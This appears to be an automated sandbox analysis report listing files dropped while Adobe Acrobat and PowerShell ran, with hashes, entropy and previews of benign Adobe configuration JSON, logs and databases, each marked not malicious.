SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJfbPtdPeUkwRe9:YvXKXfE2YvR/ZwHA/kGDV8Ukee9
MD5:	56E0DD8B614F275FE9BFC3ABC6C7E148
SHA1:	27D69B8A5A88DC07E8CA1691D1BD79F177E33B2E
SHA-256:	FE5DD25B1E86387924BB11817C66FD93CC4B9825319F992993BD63BC263EED8E
SHA-512:	E7B37AA0BB1C940A31D70568E816C4A64F114989B8B83BF8776F65E979DA7D99BDBEAAF344BDBDF2B65ACDA2F5C291250A697FFAA32A231206A86E9D7724CD16
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2837862596909435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJf21rPeUkwRe9:YvXKXfE2YvR/ZwHA/kG+16Ukee9
MD5:	5DFFEEBE3AF1938A10FE7F392FD873EA
SHA1:	B043D43329D736218A65983B4CD2DC30F4212B4C
SHA-256:	1B98D41545807CAF157842D2AD5FC1C570733642511610879366D64ABEBB0985
SHA-512:	F80DFCEF6CE8784188B00BBB92EDD167840C65D61BC7EE44F85C26A3F422FB5054B4F64C8EDE2E73F8418A5E105AE34E3E870FC4CD27B71BA8F73ECF2E48A0E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662079143907367
Encrypted:	false
SSDEEP:	24:Yv6XfEVJhzhamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSU:YvTJh5BgkDMUJUAh8cvMU
MD5:	D9A1FBDC53EE73C83EA746F98B952E1A
SHA1:	24A4A638B7E4CDEABA00918AA5FA3AD0ED9262B8
SHA-256:	CE7C3FF2F1354C41628DD7F1EA7E325ABCB374368B00D9C7CB11E81036288C6D
SHA-512:	A13A6CEB3CEE851781A66DC2A67BF9F624D7D59E4EAD4ED5417A1A08902A12CA566213DD3D7CCD87C765613F532A165BE87A4EA36C5A2AE0BDCE39443EAC7AF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.256531798730109
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJfshHHrPeUkwRe9:YvXKXfE2YvR/ZwHA/kGUUUkee9
MD5:	A94DBC55017A40CF49B9D6D0CD0BA8AC
SHA1:	AEEC3090B367BF92EC49C50AEE001FD765CE6ADB
SHA-256:	0D8EAA528D0CF2CA84D4233EF22BEA98D55B653AB5DE5244EECCC1AA6B4051E1
SHA-512:	7095D42CABFE269274B3B3B582AAE1498B740AFDF2A324F9CEF021C545DFE1488B35401A339C8A8B05A010F73EFD74A5AFE902B8F6B0DEA8173427CB473ADFF7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.275439172773107
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfE2LTovB3/dVlPIHAR0YwAEjeoAvJTqgFCrPeUkwRe9:YvXKXfE2YvR/ZwHA/kGTq16Ukee9
MD5:	3BBFDA2A761752CAC43B2EB3E7B3349D
SHA1:	530FC42A427C948A30D9A1A118BD5DD603A74605
SHA-256:	7C197CA556259B09386B04F46F0DA3F1990367CC2F889D5E4BFE4FBECAFFCFD4
SHA-512:	3641339BDFB25D605440D3BC516E185BF3AE8C0B25102C9FE8BB52E4E4D8BE3D12AC4B087F841D3D554C91F93E6EC27BCC9D3A3F3DDB50CE918D1D1AD8B46E6B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1095b90d-5d03-4c89-9cdc-a6b0d705fb6b","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746255664,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136723477616028
Encrypted:	false
SSDEEP:	24:YfKKaNnayABCQjIg47RRp4Pysqj02j0Se5sy242LSwCxuluot5B996auNOG:Yag94tQaD0I4FWYuluGP9sZ
MD5:	EA292974C9D41AFA5F34F41F7CAA5550
SHA1:	39AFE89737E259B3C741D09F8FDBE2DD3057B2F8
SHA-256:	023E86B35A0ED5644265A07E778F418980EA6332FCAC30D039E4F267818C2B1D
SHA-512:	E5588AAE30078AADDCFB6BA867744AA6C3BA383639814CB43C7E6FE834E60440043121FEE0706C9B796DBE77573398B5C41468DB4D0BA85800361AF9960C9993
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"39ecadadb263b38c7b2b541d5191abaf","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736570484000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"dfd9b45e14ea61d374eace0c413c1fb0","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736570484000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"522b4a77bd773bc9bda0940c8f91e303","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736570484000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7b37f3e1fec06ac0d4a18175309d0340","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736570484000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e0ac6690bd6eb143aa36aff8bd7be632","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736570484000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bf3515fe94f46aa4bc9c6d8551dee1db","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3187414575320802
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeiwtqVpx:TGufl2GL7ms9WR1CPmPbPahPypilIV
MD5:	474A4FA5D7C54122AFE2F708ECCB27F1
SHA1:	247E5AFFD92735CC6D556A70DC1A7A2D75030D06
SHA-256:	FBA00D33E29DB631D8F438D63F35D8BC975DEF0DDB198A2D0078E9A4B4FDAAB1
SHA-512:	3E81864066FFC1A7BCF5948275D873939D02B30B981F69258207F1D0B64A69435830DC66385409C7FE98D62C25711D7F5B65FAAE92B90FDF435D7CBDCDBD365D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.780154361857759
Encrypted:	false
SSDEEP:	24:7+tvlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeiw4qVpaVrScVr0InQqLhx/f:7M0WR1CPmPbPahWypilIVqFl2GL7ms9
MD5:	7D2D4011E574D5EF6B1B0FBA90082856
SHA1:	68A7B674D423EC704570BECEF3A74D4163777CAD
SHA-256:	1DE0D648E3A0C3BBBC7A2A28DB6F5B402D44E6A40384437D51AF1410FCED8A7D
SHA-512:	74B31E93208219176DF8A9713DF2C2A149931156D201D938DFFDA86BEAD6DAA852B36A8569D4DF856594E25195C24B3EE69FB692B6EFC8207A6CA15EAE359030
Malicious:	false
Preview:	.... .c......R.B..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg2GSSMXNG7NolmhMuWo4y9M+Yyu:6a6TZ44ADEBFNolmKuWA2+K
MD5:	92EA6F499E49471607EE3292A7DCBB25
SHA1:	0AA697809E177842D49B89418DADD6BDADE4BF64
SHA-256:	9240A7A30CAC2FF908E94975DB06F4C59FCCD6B1A88270FAF8DA541DFFCB7D03
SHA-512:	0E02F3E1A904031D90096387B91C40392993B5782033BBE364B27B6164D86876E7667567D69B566D98F8080FF30643F4F79B634AE37E9E375DEC978A0DB6F8F8
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI2831b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClU:Qw946cPbiOxDlbYnuRK+bJ
MD5:	0F07EB7807E19F2CDD70009B21867F16
SHA1:	E62685800D5135A5EAEE75CE0BD482860BF3DE2F
SHA-256:	A2E94563B89C2178F6FAC1C57D8C431124252E2FF3FB28A7D20CB900059D297F
SHA-512:	5CAEDBABD5B494E34EBB5BFD4313F9CBE381C7251242145C465138BD86B39D498A37403D186C98ABAFEBAFAD76E0BECD5A71B368FE81AACBEDD63CBA9F1958B3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.4.1.:.2.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1awpmp2v.0nq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_updq1dgd.0fx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-41-19-760.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.333775956765278
Encrypted:	false
SSDEEP:	384:NrN+VrUxZ8tyVvV9VYhuE5O/EIT/8Rt0IUfrQ3JLH5kj8blQW2dlDr++6/6vCSwX:L9h3Jm
MD5:	1A9D1783248F2F5AE8563763BAD084CB
SHA1:	B459B20C410FA6EBBB860E165232791FB27C6130
SHA-256:	BAFAED208411F0903E067329B31D319F5C9432FB1754DF21CF9392884CC7D48C
SHA-512:	49C4D03F6C8C9245885076B64FCA3207816BC8AABC7C4B2C73238D556E68D34131359401547F135419078500DCE4DC7E5A774621025606C693FD53F8F2DF614C
Malicious:	false
Preview:	SessionID=edd2a46d-7554-4704-b727-463a51758076.1736570479795 Timestamp=2025-01-10T23:41:19:795-0500 ThreadID=2156 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=edd2a46d-7554-4704-b727-463a51758076.1736570479795 Timestamp=2025-01-10T23:41:19:798-0500 ThreadID=2156 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=edd2a46d-7554-4704-b727-463a51758076.1736570479795 Timestamp=2025-01-10T23:41:19:798-0500 ThreadID=2156 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=edd2a46d-7554-4704-b727-463a51758076.1736570479795 Timestamp=2025-01-10T23:41:19:798-0500 ThreadID=2156 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=edd2a46d-7554-4704-b727-463a51758076.1736570479795 Timestamp=2025-01-10T23:41:19:798-0500 ThreadID=2156 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403194377989699
Encrypted:	false
SSDEEP:	384:ceo4+rsCcllxaBsxnEgqE8hAMxbdIP15M:lllxaBsxnEgqE8hAMxbdIPE
MD5:	0CBF99ADC14D59A1DFD2921FC5F5C121
SHA1:	8754B8B67EA0F1ED8A64C42DB6FF0F98E4FA8864
SHA-256:	ACC06A021DF4D905C9F41E9F52826084F22E790B9988B99BDD9BA44F266CD45F
SHA-512:	854B95D7E7A85BAD6FC2505D890A2A6E4247A8F8D878E1000FF84BDA7090969A0E05285BE53EC66FFCDC3B0A293978C92410C7E8F4F2A7C396EE675ADAEA4833
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\14918c0c-ef77-411a-803e-bc40e7e0584a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cd105508-a0d3-4bae-8094-9b644be55e24.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d1b9aa4f-16a8-4804-9791-3c3af973ef79.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
